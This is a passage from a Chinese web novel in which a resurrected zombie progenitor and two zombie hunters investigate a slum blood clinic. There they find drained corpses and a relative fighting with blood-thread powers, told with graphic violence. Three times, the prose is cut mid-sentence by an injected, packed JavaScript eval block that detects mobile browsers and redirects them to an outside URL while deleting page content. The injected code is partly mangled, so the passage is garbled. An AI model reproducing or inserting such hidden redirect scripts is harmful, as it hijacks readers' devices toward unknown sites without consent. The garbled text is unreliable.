蚩蓠的第一个念头是,夜璃回来了。 这太像她一贯的风格,故意制造引人注目的混乱,好把蚩蓠吸引过来。 她以前总是这样,像个永远长不大的孩子,肆无忌惮地捅出一个又一个篓子,然后带着天真又残忍的笑意,躲在一旁,看蚩蓠这个姐姐不得不一次次为她收拾残局。 直到那一天。 夜璃践踏了绝不可触碰的底线,犯下了就算是蚩蓠也无可弥补的大错,累积的失望与愤怒终于冲垮了蚩蓠最后的纵容,她再也忍无可忍,当猎人的围捕网铺天盖地落下时,蚩蓠选择了冷眼旁观。 她记得自己转过身,逃避了夜璃最后那道混杂着震惊、哀求与最终化为刻骨怨恨的目光。 于是,夜璃先她一步,被永远封入了冰冷的黑暗。 是了……既然她蚩蓠的意识能从亘古的封印中挣扎苏醒,那么夜璃,那个偏执到癫狂的夜璃,又怎会甘心永眠? 她们或许同样受困于未被彻底解封的躯壳,但蚩蓠比谁都清楚,只要夜璃的意识有一丝挣脱的可能,哪怕跨越千年,她也一定会回来。 回来找她算账。 该来的,终究躲不过。 …… 十分钟后,悬浮车碾过F-9区污浊的空气,稳稳停下。 车门无声滑开,蚩蓠先一步跃下,动作流畅地转身,假意恭谨地做了个“请”的姿势,将舒厌迎下车。 早早站在停机坪旁等待的江恨白,形象与全息影像中别无二致,制服几天没洗,皱得像咸菜干,衣领软塌塌地卷着边,脸上挂着一副“这破班谁爱上谁上”的生无可恋。 蚩蓠下意识想回以一个“我懂你”的苦笑。 可想到原主寒黎,一个多么骄傲冷酷无视底层百姓的人,除了心心念念想要搞到的“器大活好绝世美男”,大概率对任何人看不上眼,又怎么会对江恨白流露半分共情。 蚩蓠瞬间收敛表情,用看蚂蚁的眼神,轻飘飘掠过江恨白。 江恨白对此毫无反应,依旧那副死气沉沉的模样,开始一板一眼地汇报:“领导,血丝污染已蔓延至F-9区第三主干道,猎尸二队本次出队18人,全部集结完毕,第二、三、四主干道及周边区域已全部封锁。 “经无人机与天网协同侦查,共发现153名僵尸趁乱暴动,其中117名集中分布在鸽笼巷,剩余36名流窜至第三主干道,分散潜入周围十余条街巷。 “未被波及的民众已紧急疏散至F区街道,详细数据已同步到您的智脑,还请指示下一步行动。” 舒厌:“喻主任他……” “喻主任没来,”江恨白秒答,“他指示我,完全遵循您的现场指挥。” 舒厌:“……” 作为尸祖,听他们分析血丝控制和僵尸暴动的处理方案,怎么围捕自己的“小弟小妹”,蚩蓠觉得很是新奇。 江恨白继续说:“近几个月比较少发生大规模僵尸暴动,如果这153名僵尸全都是低阶僵尸,按照《猎尸队现场执法指引实施细则》,低阶僵尸生产的尸毒非常少,可以转化的血晶能源极其有限,大部分都不能抵消净化反应堆自身的耗电,直接通过无人机击毙即可。 “但目前还无法排除其中是否混有高阶僵尸的可能性,我们只能尽量‘活捉’,如果错杀高阶僵尸,按照喻主任的说法,会进一步浪费不夜穹隆的潜在能源储备。” 舒厌面无表情:“直接击毙。真正的高阶僵尸早就觉醒异能了,要是能被无人机轻松解决,本身也贡献不了多少能源。” “是,”江恨白无奈地叹了口气,终于带了点活人气,“但喻主任已经否决了无人机无差别击毙的方案,他坚持活捉全部僵尸。领导,我只是个传话的小喽啰,我说话没用,要不……您亲自跟他沟通一下?” 舒厌摆摆手:“不用管他,按《猎尸队现场执法指引实施细则》办事,全部击毙。” 说完言行不一地用智脑疯狂输出起来。 一分钟后,他抬起头,脸上带着微不可查的愠怒,疲惫地说:“按照喻主任说的办。” 江恨白一脸“我就知道会这样”的绝望。 蚩蓠则乖巧认真地点点头,心里却乐开了花,看舒厌在职场吃瘪,真是今日份最佳娱乐,自从意识清醒后,还是第一次这么舒坦。 即使行动再怎么紧急,时间再怎么紧迫,只要高贵的外行领导喻主任有任何困惑,舒厌和江恨白都得将喻风的白痴问题视为第一优先级进行解答。 有趣,实在太有趣了。 江恨白还不死心:“F区人口密度很大,鸽笼巷虽然只有两栋楼,但至少居住了上万人,如果不把僵尸全部击毙,整个行动的时间将会极大地拉长,非常有可能增加普通群众被大量感染的风险。领导,我们……唉。” 舒厌调取监控,启动智脑「速读」功能,瞬间将几十个T的监控影像吃进了脑子里,整个人没有表现出任何不适,只是眼神锐利了几分。 “情况不对,这里面有古怪。”他沉声道,“通常人类被咬死亡之后,异变时间从一分钟到一小时不等,F区人流密集,刚刚异变的僵尸极不稳定,有大量机会接触到新鲜血液,但根据你提供的影像,从一小时前开始截止到现在,僵尸的数量没有任何增加,这非常不合理。你应该也注意到了吧?” 江恨白怨气冲天的表情终于有了一丝变化,出于职业本能,他重新「速读」了一遍关键监控,神色也跟着凝重起来:“这点我疏忽了,实际上不光数量没有增加,这153名僵尸甚至没有任何吸血行为。” 舒厌摩挲下颌,“这就有意思了。尸化特征明显,却没有吸血行为……”他冷不丁将话头甩向蚩蓠,“寒黎,这个你擅长,你确认一下。” 那潜台词差点没把蚩蓠惊出冷汗。 “我?擅长?”蚩蓠无语,忍着恶心也吞掉了几十个T,“吃完”差点没吐出来,脸色泛青道:“长官,我不太确定。” 她不是故意骗舒厌,这些僵尸确有古怪,与她认知中由她或她的族裔转化的传统僵尸有所不同。 它们更像是一种游离在人与僵尸之间的诡异存在。 “说实话,”她指向共享虚拟屏上定格的某个画面,“虽然监控系统显示这些僵尸已经没有生命体征,但是他们是不是真的死了,得打个问号。” “你们看这个,”她放大其中一个僵尸的影像,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277471|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边有个被吓得瑟瑟发抖的小女孩,“正常异变不久的僵尸几乎毫无理智,不可能忍住不攻击这样的‘鲜肉’。但是它手里的东西……放大看,很奇怪吧,是一瓶营养剂,他交给了那个瘦巴巴的小女孩。能查到他们的关系吗?” 江恨白:“F区大部分民众都没有录入人脸识别系统,暂时无法锁定具体身份和社会关系。” 舒厌听到“鲜肉”这个词的时候,古怪地扯了一下嘴角,他下令:“既然初步判断传染性可控,那我们就伪装成‘鲜肉’,去里面看看吧。” …… 三人很快到达鸽笼巷巷口。 与其说是条巷子,不如说是一个巨大的“V”形死胡同,被两栋畸形挤压的摩天楼夹在中间。 楼体窄得惊人,宽不过十米,却疯狂向上生长了数百米,密密麻麻的窗户如同蜂巢,又像停尸间抽屉里的一口口棺材。 此刻,无数血红色的粘稠丝状物缠绕包裹着这些格子窗户,浓稠的血液正顺着玻璃不断滑落,将所经之处染成一片触目惊心的红,几乎完全阻挡了视线。 真不知道里头住着的人看到这幅炼狱景象,内心该有多崩溃。 跟蚩蓠记忆中的僵尸暴动截然不同,楼下二十几头僵尸聚在一起,没有张牙舞爪,也没有见人就啃,更像是在抗议什么。 甚至有四头僵尸混在一群看热闹的人中间,围着一个棋盘。 下棋的两个大爷过于全神贯注,完全没注意身边的观棋者肤色青灰,将象棋砸在大理石板上咵咵响:“老子这招叫瞒天过海,下一步就将死你!” 周围看客比下棋的还激动,十几个看棋的,唾沫横飞,骂得一个比一个狠,一个比一个脏,完全没注意周围的异样。 看客里,有两个僵尸格外惹眼,在外围一蹦三米高,每蹦一次就要哑着嗓子喊一句: “过河界了!煞笔!” “守住中线!别露腚!” “炮二进一!吃他几把!” 异变没多久的低阶僵尸嗓子都不太好,哑得厉害,偏偏跳得最高,喊得最凶,骂得最脏,惹恼了其中一名棋手老头。 气得那老头把吃掉的「炮」朝僵尸脸上一砸,那棋子不偏不倚,正好被僵尸探出的尖牙“咔”地衔住。 直到这时,周围的人才后知后觉地发现异常。 大家不看不知道,一看死了的心都有,感觉天都塌了,跑都不知道该往哪里跑。 刚才还吵吵嚷嚷的巷口,除了那二十几个僵尸,活人几乎全跑没影了。 江恨白逮住从棋局中惊慌失措乱窜出来的男人,问:“这些僵尸哪儿来的?” 那人被吓得语无伦次:“我哪知道?!我看棋看得好好的,突然有个僵尸拍我肩膀,吓死个人了!” 他挣扎着想甩开江恨白的手,见三人衣着普通,不像联邦官员,顿时来了气:“你们几个装什么逼,都是穷鬼,又不是联邦吃狗粮的,问那么多干嘛!快松手,想死别拉我垫背!” 江恨白被骂得脸一红,放开对方手。 就在这时,一个有些熟悉的声音,突兀地从那堆僵尸群里穿了出来: “你们……在哪里献的血?” 11.血丝操控② 说话的人蚩蓠见过,是献血大厅里拒绝献血的女孩,名叫小童。 这姑娘胆子大得很,丝毫不害怕周围是随时可能咬自己一口的怪物。 她个子矮小,刚刚异化的僵尸体型会膨大一些,行为不太受控,走一步蹦三下,旋转跳跃闭眼都是常有的事。 可她在这样一群僵尸堆里头,居然如入无人之境,那群低阶僵尸脑子本来就不灵光,二十几个挤作一团,愣是没发现队伍里混进了一个鲜活血肉。 “喂!”小童提高嗓门,在一片咯咯嗬嗬声中格外刺耳,“你们吵吵半天,有没有人能告诉我,到底在哪儿献血?!” 她几乎是吼出来的:“我也要献!” 总算有个僵尸迟钝地扭过头,喉咙里咕噜作响,含混抱怨说:“献、献、献什么献!诊所骗人!说好400毫升换15克血晶,结果等我们献完,又说质量不合格,只能给10克。无良奸商!说话不算数,算账!找他们算账!” “对!我们去找诊所算账!” “一定要拿回15克血晶!” “走走走!” 僵尸们群情激愤,挥舞着僵直的手臂,“嗷嗷嗷”地乱叫,场面混乱又滑稽得很。 小童眼珠一转,立刻明白了,僵尸们这是要去找诊所麻烦,她缩了缩身子,像条滑不溜秋的小鱼,紧紧黏在僵尸队伍旁边,打算跟到底。 后方,三人交换了个眼神。 联邦强制民众每月献血200毫升,但只提供5克血晶的补偿,刚够鸽笼巷那样大小的房屋一个月的用电,根本不是宣传标语所说的只需要1克血晶。 私人诊所就是钻这个空子,用高价诱惑这些活不下去的穷人,让他们在200毫升定额之外再偷偷卖血。 僵尸得了血源,穷人拿了血晶,看似双赢,实则敲骨吸髓,200毫升定额看似不多,但月月如此,会对民众身体造成严重负担,长期以往贫血衰弱而亡的不在少数,更别提超出定额必然加速透支,当场晕厥甚至是死亡的,也并不少见。 更黑的是,诊所十有八九会克扣,这些底层贱民投诉无门,闹大了,先进局子的却不是诊所,而是他们自己。 眼前这群半人半尸的怪物,显然就是被坑惨了的“客户”。 蚩蓠率先走上前,故意怯生生地搭话:“小姑娘,你问的那地方,真能拿到更多血晶?” 三人都做了伪装,覆了人造假皮,小童没立刻认出,但那双眼睛却犀利得惊人。 她上下扫了蚩蓠一眼,脆生生道:“你们不是真穷鬼吧?” 蚩蓠:…… “衣服旧,但也太干净了。肤色黄,却没有一点饿过的样子,脸上肉还挺多,手臂……”目光扫过蚩蓠光滑的小臂,“连个蚊子包都没有,你们是上面来调查的吧?” 她三言两语就将一行人身份说破,实在过于敏锐了。 江恨白下意识摊开手,露出旧疤:“这不是吗?我们三以前确实有点小钱,但是前阵子做生意破产了,也干了不少苦力,可惜赚的血晶还不够赔利息,所以只能从D区跑过来逃债了,刚刚那位僵……尸兄说,这里卖400毫升血可以换15克血晶?” 他手臂内侧伤疤纵横,但疤痕颜色已经比较浅了,显然不是最近才有的。 作为能源控制署的正编员工,猎尸队二组组长,江恨白全身没有做任何机械化改造,可就连这种明显的疤痕都不舍得出钱修补,属实过分节约了。 小童根本不信,无所谓地撇嘴:“就算你们是联邦的走狗,只要不耽误我献血拿血晶,可以跟着我走。” 江恨白:“呵呵,我们真不是……” 小童打断他:“走吧,我们一起跟着僵……尸兄走。” 她故意拖长音,学江恨白刚才别扭的称呼,眼里闪过一丝不符合年龄的嘲弄。 江恨白热络拉拢的眼神立马冷了下来。 他出身贫民窟,是咬着牙从尸山血海里爬进猎尸队的,嘴上虽抱怨不少,可只要一有加班的机会,他总是第一个举手报名。 表里不一的努力。 他必须合群,周围同事都出身良好,随时有可进可退的余地,他附和着装模作样抱怨甚至偷懒,别人便以为他也有退路,不至于看不上他,也不至于把所有担子推到他头上,知道他也有傲气,也会拒绝。 实际上,他比谁都努力,不停地熬通宵,不过是为了多挣几克血晶养家糊口,他妻子生的八胞胎,只活下来四个,另外四个,三年前死在了僵尸嘴下。 后来,他拼了命,复了仇,当上了组长,骨子里终于把自己和这些“贱民”割裂开了。 他虽然还叫做江恨白,却已经不是从前那个江恨白了。 所以哪怕只是伪装成穷人的样子,哪怕曾经真的是个穷鬼,他也不允许别人嘲讽他,揭穿他。 江恨白收敛住眸中冷色,再不说话。 …… 四人默默尾随躁动的僵尸们,深入鸽笼巷地下。 不夜穹窿原本因为尸祖的存在,能源还算充沛,但尸祖被抢后,联邦收紧能源分配,人造白天调暗了30%的光线。 F区作为相对边缘的区域,能源供给本来就跟不上需求,光线明显比能源控制署所在的中心城区暗淡不少。 但鸽笼巷这么一个典型的贫民窟小区,其地下区域却光线充沛,亮如正午。 一时将进去的几人刺得睁不开眼,更别提那些想来闹事的僵尸们,他们本就畏光迟钝,发出一阵不安的骚动,有好几个已经打起了退堂鼓。 鸽笼巷地上是蜂巢般的棺材房,地下则是迷宫般的商铺层,经历僵尸闹事后,大多铺面紧闭,死气沉沉。 蚩蓠半眯着眼,跟着大部队弯弯绕绕好一阵后,终于在偌大的地下区域一个不起眼的角落,找到了这家私人诊所。 牌匾底下的广告牌镶着一盏十字形霓虹灯,诡异地转着圈,横平竖直的残影追逐着新的“十”字,看得人头晕目眩。 “有意思。”舒厌的声音极低,几乎只有身侧的蚩蓠能听见,“地上商铺十室九空,这地下诊所的能源供给倒比署里还稳定。” 他的目光扫过那些过分明亮的灯管,像是在评估着什么。 “而且,长官,这里的味道,很不一般。”蚩蓠眼睛微眯,低声回应。 她对血液的浓度有着远超常人的感知,那是一种类似捕猎者的本能。 越靠近诊所,浓稠的铁锈味就刺鼻,血腥不是来自带路的低等僵尸,而且似乎已经弥散在空气中很久了。 这里绝对是血丝的来源地。 舒厌侧眸看了她一眼,眼神难以捉摸,却没有反驳,只是例行公事说:“保持警惕。” 无语的是,那几个带头的高大僵尸竟在门口犹豫不决起来,它们你看看我,我看看你,最后居然有些怯生生地抬手,相当礼貌地敲了敲玻璃门。 听到里面传来一声懒洋洋的“进来”,才敢推门而入。 乌泱泱一群“尸”挤进不到十平米的接待区,前台的姑娘头都不抬,还在笑嘻嘻地盯着智脑屏幕,语气相当不耐烦: “到旁边取号机排队,过号了不能插队, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284501|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要重新排。” 领头的僵尸们面面相觑,张了张嘴,却没一个敢出声质问,刚才一路叫嚣的算账气势,早就影都不见了。 小童毫不客气地挤开它们:“让开!” 她个子小,气势却足,那群“尸高马大”的玩意儿竟真的瑟缩着退开了。 她猛地一巴掌拍在前台,响声清脆:“我要献血!” 前台姑娘被一个激灵吓住,刚想骂,抬头对上小童身后一群面色青灰的僵尸,顿时脸一白,吓得一屁.股跌坐回椅子上。 “献、献血就排队啊……”她声音发颤,眼睛根本不看小童,只惊恐地瞟向她身后。 “我们不是来献血的。”后头有个僵尸见状似乎获得了一些勇气,“你们老板说好给15克血晶,我们只收到了10克,得、得补。” “对,我们不是来闹事的,”另一个小声补充,“我们只是来要那个……尾款的,那5克血晶而已……” 前台姑娘虽然害怕僵尸,但也没见过这么窝囊的,胆子壮了,挺直腰板道:“找老板?他不在!每周日才过来一趟,时间不一定,你们到时候再来吧。” 那几个僵尸瞬间有些气馁,萎缩成一团,黏黏糊糊地说:“今天才周二呢,要等那么久啊?那他周日几点来?我们、我们早点来等。” 前台没好气地说:“跟你们这群没文化的人打交道真费劲,我刚才不是都说了么,时间不一定!想找他就早点来等。” 那群僵尸唯唯诺诺,低声咕哝了一阵,最终还是垂头丧气,你推我搡地溜了。 诊所等候区霎时空旷,只剩小童四人。 “我前面还有三十八个人在排队,”蚩蓠扬了扬手中号码牌,视线扫过四周,压低声音朝三人说,“人呢?难道都在里面隔间?这血味……” 江恨白接过她的话:“这血味浓得都快让人吐出来了,这里根本不像个抽血的地方。” “像刚宰完牲口的屠宰场吧。”小童又流露出那种嘲讽的表情。 “三十七个人……”舒厌的视线也从他手中的号码牌上抬起,扫过几排塑料椅的等候区,“这里的生意不错嘛。” 小童略显焦急,又是一巴掌拍在台上:“我要献血!” 前台又被吓得一愣:“不是说了要排——” 不等前台说完,小童斩钉截铁打断她:“我要献光全身的血!让我优先!” 那前台姑娘张着嘴,似乎想呵斥小童的无理取闹,喉咙里却突然发出一连串像是被浓痰堵住的“咯咯”声。 她本就灰黄的肤色进一步暗沉,蛛网般青黑色的血管从脖颈向上蔓延,很快布满了下颌和两侧太阳穴。 那双总是带着不耐烦的眼睛,直勾勾地瞪着前方,彻底失去了焦点。 “呃……呃……” 前台姑娘异化的程度显然比讨薪的僵尸高得多。 见状,舒厌按下手臂臂环上一个隐藏的按钮,等候区角落的监控视频闪烁两下,旋即恢复正常。 这是联邦特制的监控模拟器,专门用来破坏监控显示,再生成一段看似正常的画面。 “时间不多了,进去!”舒厌下达指令。 江恨白从腰间装备带中抽出一张红金描边、写着“镇压”二字的黄符,贴到正欲阻拦的前台额前。 黄符触肤,发出一圈符文光晕,前台姑娘断电般僵直,硬挺挺地向后倒去。 与此同时,舒厌肩部发力,撞开内侧的合金门,一股浓稠得近乎凝成实质的血腥味,混合着消毒液与臭氧的刺鼻气味,再也遮掩不住,扑面而来…… 12.血丝操控③ 诊所内部的光线比接待区更刺眼,惨白的灯光从天花板直射下来,把蚩蓠胳膊上极细极软的绒毛都照得根根分明。 早在献血大厅蚩蓠就发现了,不夜穹隆虽然都用人造日光,但也尽可能模拟了阳光的成分,这家诊所内部也不例外,想来应当是防御僵尸的普遍做法,毕竟诊所里头储存着这么多血袋。 可惜,这些日光只对低阶僵尸有用,要是遇上高阶僵尸,恐怕连皮毛都伤不着,更别提蚩蓠顶着寒黎的皮囊,她的表现与常人无异。 地上粘腻不堪,几人才刚踏进去一步,就能感觉到鞋底与半干涸液体粘连又分离的不适感。 “这地方……简直就是地狱。”江恨白下意识抬脚,却发现根本没有干净的落脚点。 确实。 原本用来放置抽血设施的操作台,被喷射状的暗红色污渍涂满,有些已经干涸发黑,有些却还透着新鲜的湿润。 两个负责抽血的护士倒在台面,整张脸浸泡在血水中,眉毛和发梢上的血珠都已经凝固。 最叫人毛骨悚然的是,前面排号的三十几人以各种扭曲的姿势倒在地面,他们的身体干瘪得可怕,一层薄薄的皮肤紧贴骨骼,仿佛被什么力量从内部抽空了所有。 这些人的眼睛惊恐地圆睁着,嘴巴张大到人类下颌骨所能允许的极限,定格在生命最后一刻的极致恐惧中。 “妈妈,妈妈!你在哪里?”小童撞开舒厌,扑在地上一个个翻查,那些尸体的脸颊在生前本就因饥饿而凹陷,流失了全身血液后,更是骤缩得厉害,在颧骨下形成大大的碗状凹坑,除了头发和衣着不同,几乎与骷髅架子无异,哪里分得清谁是谁。 不少尸体堆叠在一起,小童用力拉扯,试图将他们的脑袋掰正,看清他们的脸,可以她纤薄的身体,只能一具具一点点挪动。 才过了一小会儿,小童已是全身湿透,她嘴里发出含混不清的呜呜声:“全都……变成干尸了,妈……你到底在哪里?” 地上蜿蜒爬行的血丝,仿佛真菌在加速镜头中的繁殖,汇聚成一根根粗壮虬结的藤条,朝大门方向匍匐前行。 蚩蓠蹲下.身,检查一具离她最近的尸体:“没有明显外伤,血液是从内部被直接抽走的。” 舒厌手指轻轻拂过其中一个护士的颈部,赞同道:“嗯,这里毛细血管破裂,但皮肤完整,未见咬痕。” 小童继续翻找,她抹掉眼泪,眼神却异常坚定,她四处张望:“妈妈的味道很浓,她一定在这里。” 突然,地上粗壮的血丝汇集而成的枝条开始从门口向屋内收缩后退,一阵细微的响动传来,四人立刻警觉地转向门口。 一个高大的身影踩在横卧在地碍事的前台身上,“咔嚓”一声脆响,仿佛枯枝断裂的声音,那前台姑娘居然被来者硬生生踩成了两半。 那是个年约六七十岁的男子,还穿着病号服,他面色青灰,眼睛有些外斜,嘴角还残留着新鲜的血迹。 “外公?”小童不确定地叫出声。 郑有德转头看向小童,眼里闪过一丝诡谲的光亮,“陈小童?你怎么会在这里?”他的声音沙哑得像是喝过硫酸,“快离开这里,不安全。” 郑有德嘴上说着关心的话,身体却呈现出进攻的姿势,肌肉紧绷,指尖微颤,头颈前倾。 那是典型的僵尸狩猎动作。 “外公,你看到我妈妈了吗?”小童急切地问,可看到对方不自然的举动,还是小心翼翼地没有往前,反而后退了半步。 郑有德环顾一圈,发觉另外三人不过只是普普通通的穷鬼,他自觉没什么好遮掩,送上门来的鲜肉,不要白不要,表情瞬间狰狞起来: “看见了呀,你妈妈跑得可真快,嘿……嘿嘿……乖孙,这么久不见外公,就不想跟外公多亲近亲近吗?” 小童听着不对劲又往后退了几大步,诊所内部虽比外头候诊区大一倍,可大部分空间都被横七竖八的干尸占满了,她才退了几步,就已经背靠墙体退无可退了。 蚩蓠想要出手,她既然救过小童一次,再救一次自然顺理成章,但看到舒厌已经行动,她站直身子,恢复了那副看戏的表情。 舒厌几乎在郑有德动身的刹那就已经挡在小童面前,他手臂上的护盾展开,迎上郑有德的扑击。 “砰”的一声闷响,郑有德被震退数步。 “退后!”舒厌低吼一声,另一只手已经从腰间拔出那把特制的桃木手.枪。 子弹入体,郑有德的身体不断震颤,皮肤下仿佛有无数虫子在蠕动,肌肉不正常地膨胀,指甲变长变黑好几寸,牙齿尖锐得与捕猎动物无异。 “小心,他完全尸化了。”江恨白布下几道符咒在四周,形成一道简易的防护屏障。 郑有德再次发起攻击,这次他的速度更快,力量也更惊人,舒厌与之缠斗在一起,桃木子弹近距离击中郑有德的身体,发出爆裂的啪啪声。 “没用的,”郑有德未见丝毫痛苦,反而得意地笑着,“我和那些低等货色不一样,我可是很特别的,你知道吗?!我是天选之人!” 蚩蓠眯起眼睛,她那双仿佛可以透视生命的红眸悄无声息地亮起,郑有德体内原本规则排布的血管居然自行挪动,巧妙避开了每一颗射.入其中的子弹。 “血丝操控。”蚩蓠提醒道,“长官,他是异能僵尸,可以随意挪动身体的血管,不要浪费子弹。” “艹!你找死!”郑有德恶狠狠瞪向蚩蓠,突然改变方向,以惊人的速度扑向她。 蚩蓠侧身闪避,她看似慌不择路地从一旁器械台上抄起一把手术刀,举起来毫无章法地胡乱挥舞,甚至还带着哭腔尖声乱叫:“不要不要,你不要过来!啊啊啊!” 她手腕一抖,刀锋精准地划向郑有德的手腕。 他腕部动脉处瞬息出现一道极深的伤口,郑有德甚至没能操控体内的血管重新排布,黑红色的血液就已经渗了出来。 他惨叫一声,更加狂暴地攻向蚩蓠,在同一时间,舒厌抓住机会,一连三发桃木子弹射.入郑有德刚才被划伤的部位。 “呃啊!”郑有德大叫,伤口处冒出阵阵黑烟,他后知后觉地看着三人,“我懂了,你们是联邦走狗!” “是又怎么样?地上的人都是你干的?”舒厌收起桃木手.枪,切换成电弧等离子枪,企图用高压电流制服郑有德。 郑有德来回闪避,速度快得惊人,他甚至还有空跟舒厌闲聊:“不是我干的,不过嘛,我知道是谁干的!长官,你想知道?嘿嘿,求我啊,求我我就告诉你。” 他不断往蚩蓠的方向前行,江恨白挡在蚩蓠前方,郑有德刚想先解决江恨白,却突然停下脚步,无不吃惊地说:“你,我好像见过你……” 他歪着头,边闪避舒厌的攻击,边端详江恨白,他脑袋发出诡异的“咔咔”声:“不,你们不是同一个人,但是他和你长得一模一样。” 江恨白霎时脸色铁青。 郑有德咧开一个可怕的笑容:“实验室有个和你一样的家伙,就在我隔壁床,被绑得死死的,整天在我耳边尖叫,哈哈哈,我最喜欢听他叫了,他越叫,我越兴奋……” 仿佛被戳中了什么看不见的秘密,江恨白手中的符咒差点掉落:“你……你说什么?” “他闻起来味道不错,”郑有德舔.了.舔脱皮的嘴唇,“可惜跑了,你知道他去哪里了吗?嗯?你们是双胞胎吧?那你肯定知道他在哪里对不对?” 就在江恨白分神的那一瞬,郑有德改变方向,猛地向他冲去,舒厌急忙拦截,却被郑有德以一种不可思议的角度绕过。 诊所深处突然传来一声凄厉的尖叫。 一个中年妇女踉跄着冲了出来,她惨白如纸,手臂布满蛛网般的血丝,那些血丝活物般在她皮肤下蠕动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289447|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “妈妈!”小童惊呼。 陈鸿雁看到小童,再看向郑有德,眼中满是愤怒和惊惧:“小童,快跑!那不是你外公!” 她的话被郑有德的咆哮打断。 看到陈鸿雁,郑有德眼中爆发出更加疯狂的贪婪:“鸿雁,我的好女儿,你跑得可真快,我可找了你好久呢。” “离我女儿远点!”陈鸿雁大喊,她眼里的恐惧很快消散,被势要守护女儿的决绝所取代,操纵着地上虬结的血状根脉朝郑有德猛抽。 郑有德则干脆顺着伤口一掰手腕,那只受伤的手掌居然被他硬生生扯了下来,他似乎无法操控室内现存的血丝,只能改造自己体内的血液作为武器,他体内流出的血时而如网束缚,时而如针穿刺,朝陈鸿雁发起攻击。 父女之间的互殴以一种超乎想象的方式展开。 这个情形是几人万万没有预料到的,舒厌暂时退到一旁观察战局,手中的武器随时准备出击,蚩蓠也乐得看他们狗咬狗,伦理戏码,什么年代都好看的咧。 陈鸿雁速度和力量更为惊人,室内所有可见的血丝都听从她的指令,她所汇集的血丝根脉粗大,抽出的力道狠辣无情。 这地面的三十几人恐怕都是她的“杰作”。 巨鞭抽打在郑有德头上,他青黑的脸颊爆开手指粗细的裂口,左眼的玻璃体瞬间布满血丝,眼皮裂成两半,下唇也一分为二,露出带血的裸.露牙龈。 “这就是血丝操控……”蚩蓠假装害怕,实际上她正在调动自己的力量去影响战局。 然而她无法像控制青魇那样轻易操控两人的力量,他们的异能中有一种与自己同源,但却更狂乱更强大的气息,让她联想到某个她最不愿意面对的存在。 战斗中,陈鸿雁逐渐占据上风,郑有德似乎因为饥饿处处吃瘪,就在他即将落败之际,突然虚晃一招,假装攻向陈鸿雁,实际上直扑小童而去。 “先吃点开胃小菜补补身子!”口涎从他二分为四的嘴唇淌了出来,他尖锐的指甲划向小童的手臂。 陈鸿雁惊呼一声,全力扑向小童,试图用身体护住女儿。 “嗤啦!”随着一声撕裂,小童的左臂被整条扯下,鲜血喷涌而出,她发出凄厉的惨叫,瘫倒在地。 “不!”陈鸿雁撕心裂肺地哭喊,眼中最后一丝人性也被绝望吞噬了。 整个诊所内的血丝,墙上的、地上的、仪器上的、甚至那些干尸体内残存的,都开始沸腾凝聚,化作无数血红色的尖刺,箭矢般射向郑有德。 郑有德还在咀嚼亲外孙美味的手臂,却被这突如其来的攻击重创,惨叫着躲避,身上插满了血刺。 陈鸿雁抱起女儿,泪水混合着血水滑落:“对不起,小童,妈妈对不起你,妈妈没能保护好你……” 就在这时,郑有德趁机偷袭,尖锐的牙齿狠狠咬在陈鸿雁的脖颈上。 “亲生女儿的血肉,才是最滋补的营养品。”他疯狂地吸食着,陈鸿雁被他死死箍住,无法动弹,不过几秒钟,她的身体已经干瘪得跟地上的尸体无异了。 “啊——不要!”小童拼尽全身力气拉扯郑有德,完全是蚍蜉撼树。 郑有德身上的伤口开始迅速愈合,他的体型更加庞大,眼睛完全变成了血红色,皮肤却从青灰变得与常人无异。 他反手抓住小童另一只完好的胳膊。 “完了!”江恨白喃喃道,“他吞噬了那女人的异能!” “嗯,他进化到S级了,必须马上制服。”舒厌看了眼蚩蓠,眼神复杂,但没有言及太多。 “长官,我已经呼叫救援了,你可千万挺住啊。”蚩蓠假装害怕地躲到他身后,心中却波涛汹涌,她感到郑有德体内那股属于夜璃的力量越来越强烈了。 战斗一触即发,而诊所外的血丝,正如活物般悄然蔓延,将整个鸽笼巷笼罩在一片血色恐怖之中。 13.血丝操控④ 方才被郑有德生生扯断的手掌,竟如活物般在地上扭动,由无数细密血丝牵引着,蜿蜒爬向他的断腕。 很快,残肢严丝合缝地接了回去,皮肤上的纹理自动弥合,仿佛从未受过任何损伤。 他活动了一下这只刚刚归位的手掌,随即狞笑着探出,一只手铁钳般扣死小童纤细的脖颈,另一只紧抓她仅存的手臂,眼看就要再次发力。 预想中的撕裂声并未传来。 一道黑影以远超人类极限的速度切入两者之间,舒厌连续两记手刀猛劈而下,竟将郑有德的双臂自小臂处齐整斩断。 才刚刚复原的手臂再次离体,随小童向后倒去。 舒厌顺势揽住小童,以一种粗暴但高效的姿态,将她猛地向后抛飞出去,精准地落入江恨白的怀中。 